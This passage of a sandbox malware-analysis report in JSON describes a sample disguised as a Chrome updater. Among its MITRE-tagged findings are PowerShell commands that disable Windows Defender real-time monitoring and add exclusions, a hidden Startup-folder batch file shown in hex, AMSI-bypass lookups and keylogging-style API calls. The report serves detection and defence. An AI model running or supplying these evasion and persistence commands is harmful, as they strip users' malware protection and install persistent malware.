\"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005400)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00009176)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006292)","origin":"API Call","mitre_attack_id":"T1685","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"34.227.235.47:443\"\n \"172.67.197.30:443\"\n \"140.82.114.3:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"net1.pdb\"\n \"powershell.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to add users to a group (API string)","description":"Found reference to API \"NetGroupAdd\" (Indicator: \"NetGroupAdd\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"NetGroupAddUser\" (Indicator: \"NetGroupAdd\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"NetGroupAddUser\" (Indicator: \"NetGroupAddUser\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-215","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to create a new user account (API string)","description":"Found reference to API \"NetUserAdd\" (Indicator: \"NetUserAdd\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-214","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep at 00000000-00005364-38641-25-00466CE0\n Sleep at 00000000-00005364-38641-92-00465700\n Sleep at 00000000-00005364-38641-112-0046AC7C\n Sleep at 00000000-00005364-38641-155-0046AE13\n Sleep at 00000000-00005364-38641-303-004716DE","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Process\"; File: \"Chrome_Updater.bat\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$48","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commandline \"-NoProfile -Command \"Set-MpPreference -DisableRealtimeMonitoring $true\"\" (UID: 00000000-00005400)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\\\Google\\\\ChromeUpdate'\"\" (UID: 00000000-00009176)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"Add-MpPreference -ExclusionProcess '%LOCALAPPDATA%\\\\Google\\\\ChromeUpdate\\\\chromelevator_x64.exe'\"\" (UID: 00000000-00008624)\n Process \"powershell.exe\" with commandline \"-NoProfile -Command \"Set-MpPreference -DisableRealtimeMonitoring $false\"\" (UID: 00000000-00006292)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"attrib.exe\" with commandline \"attrib +h +s \"%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\Chrome_Updater.bat\"\" (UID: 00000000-00002560)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134387400600100678.5400.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134387413208992866.9176.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134387424617771906.8624.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134387445008627238.6292.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$49","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\ef4992f14ba62dc115c01e7a6018e263\\mscorlib.ni.dll\" at 71B20000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 70040000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 70060000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 73050000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"Found string \"Write-Error -Message $errorMessage -Category ReadError -ErrorId \"FileReadError\" -TargetObject $FilePath\" (Indicator: \"Write-Error\"; Source: \"00000000-00005400.00000000.156962.06FA2000.00000004.mdmp, 00000000-00005400.00000001.157945.06FB1000.00000004.mdmp\")\n Found string \"Write-Error -ErrorRecord $errorRecord\" (Indicator: \"Write-Error\"; Source: \"00000000-00005400.00000000.156962.06FA2000.00000004.mdmp, 00000000-00005400.00000001.157945.06FB1000.00000004.mdmp\")\n Found string \"Write-Error -Message $errorMessage -Category ([System.Management.Automation.ErrorCategory]::ParserError) -ErrorId \"FormatHexFailureTypeNotSupported\"\" (Indicator: \"Write-Error\"; Source: \"00000000-00005400.00000000.156962.06FD8000.00000004.mdmp\")\n Found string \"foreach($resolvedPath in (Resolve-Path @PSBoundParameters))\" (Indicator: \"Resolve-Path\"; Source: \"00000000-00005400.00000000.156962.06FD8000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"checkip.amazonaws.com\"\n \"github.com\"\n \"tribot.co.uk\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$4a","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"javaw.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\imageio4849906140372636108.tmp\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"Found string \"function New-TemporaryFile\" (Indicator: \"New-TemporaryFile\"; Source: \"00000000-00005400.00000000.156962.06FA2000.00000004.mdmp, 00000000-00005400.00000001.157945.06FB1000.00000004.mdmp\")\n Found string \"function New-Guid\" (Indicator: \"New-Guid\"; Source: \"00000000-00005400.00000000.156962.06FA2000.00000004.mdmp, 00000000-00005400.00000001.157945.06FB1000.00000004.mdmp\")\n Found string \"function Import-PowerShellDataFile\" (Indicator: \"Import-PowerShellDataFile\"; Source: \"00000000-00005400.00000000.156962.06FD8000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops Windows batch files","description":"\"Chrome_Updater.bat\" has type \"DOS batch file ASCII text\"- Location: [%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.bat]- [targetUID: 00000000-00005256]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-41","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"imageio4849906140372636108.tmp\" has type \"PNG image data 1024 x 1024 8-bit/color RGBA non-interlaced\" - Location: [%TEMP%\\imageio4849906140372636108.tmp]\n \"imageio6433719467679739438.tmp\" has type \"PNG image data 1024 x 1024 8-bit/color RGBA non-interlaced\" - Location: [%TEMP%\\imageio6433719467679739438.tmp]\n \"imageio2825440506134962047.tmp\" has type \"PNG image data 1024 x 1024 8-bit/color RGBA non-interlaced\" - Location: [%TEMP%\\imageio2825440506134962047.tmp]\n \"imageio401711441080987923.tmp\" has type \"PNG image data 1024 x 1024 8-bit/color RGBA non-interlaced\" - Location: [%TEMP%\\imageio401711441080987923.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"javaw.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.jar\"\n \"javaw.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.jar:Zone.Identifier\"\n \"javaw.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.bat\"\n \"javaw.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.jar\"\n \"javaw.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.jar:Zone.Identifier\"\n \"javaw.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.bat\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"javaw.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\Desktop\\RuneLite.lnk\"\n \"javaw.exe\" trying to access LNK file \"%USERPROFILE%\\Desktop\\RuneLite.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes a file to the startup folder","description":"\"javaw.exe\" wrote 528 bytes to file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.bat\": 406563686f206f66660a6e65742073657373696f6e203e6e756c20323e26310a696620256572726f724c6576656c25203d3d203020280a202020207374617274202222202f4d494e2022433a5c50726f6772616d2046696c65732028783836295c4a6176615c6a7265312e382e305f3136315c62696e5c6a617661772e657865 ...\n \"javaw.exe\" wrote to file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Chrome_Updater.bat\"","origin":"API Call","mitre_attack_id":"T1547.001","relevance":10,"id":"api-90","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00005400.00000001.157945.086F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"Attempts to call internet-related API for network communication","description":"\"javaw.exe\" called \"gethostname\" with parameters (UID: 00000000-00005256)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-291","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"Found reference to API \"NetShareGetInfo\" (Indicator: \"NetShareGetInfo\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"NetShareEnum\" (Indicator: \"NetShareEnum\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4d","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"checkip.amazonaws.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"github.com\" (10 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"github.com\" (89 days old)\n Short term registered certificate: \"tribot.co.uk\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"34.227.235.47\" on port \"443\"\n HTTPS traffic to \"172.67.197.30\" on port \"443\"\n HTTPS traffic to \"140.82.114.3\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00005400\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLECE687B85037DAF2254A31E2E75FC]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005400.00000000.156962.00430000.00000004.mdmp, 00000000-00005400.00000001.157945.00430000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005400.00000001.157945.081C0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE104094CBE5014DBEEC8AFDCF1373]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005400.00000001.157945.08212000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00005400.00000000.156962.00430000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00005400.00000001.157945.086F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetNtProductType\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKeyW\" in file \"00000000-00005364.00000000.156639.00461000.00000020.mdmp\"\n Found registry query API: \"RegOpenKeyW\" in \"00000000-00005364.00000000.156639.00461000.00000020.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"javaw.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"17\"}\n \"javaw.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"16\"}\n \"javaw.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"18\"}\n \"javaw.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"4\"}\n \"javaw.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"2\"}\n \"javaw.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"1\"}\n \"javaw.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"5\"}\n \"javaw.exe\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"6\"}","origin":"API Call","mitre_attack_id":"T1056.001","relevance":5,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005400)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00009176)\n \"powershell.exe\" called \"GetDriveTypeW\" (UID: 00000000-00008624)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00006292)\n \"powershell.exe\" called \"GetDriveTypeW\" (UID: 00000000-00006292)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00005400)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00009176)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00008624)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005400)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00009176)\n \"powershell.exe\" called \"GetUserNameExW\" (UID: 00000000-00008624)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006292)\n \"powershell.exe\" called \"GetUserNameExW\" (UID: 00000000-00006292)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"Found string \"$foundAccess | Sort-Object\" (Indicator: \"Sort-Object\"; Source: \"00000000-00005400.00000000.156962.06FD8000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"NetServerEnum\" (Indicator: \"NetServerEnum\"; File: \"00000000-00005364.00000000.156639.00461000.00000020.mdmp\")\n Found reference to API \"NetServerEnum\" (Indicator: \"NetServerEnum\"; Source: \"00000000-00005364.00000000.156639.00461000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate user groups or their members (API string)","description":"Found reference to API \"NetGroupGetUsers\" (Indicator: \"NetGroupGetUsers\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"NetGroupEnum\" (Indicator: \"NetGroupEnum\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069","relevance":1,"id":"string-219","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve Domain Trust data (API string)","description":"Found reference to API \"DsGetDcNameW\" (Indicator: 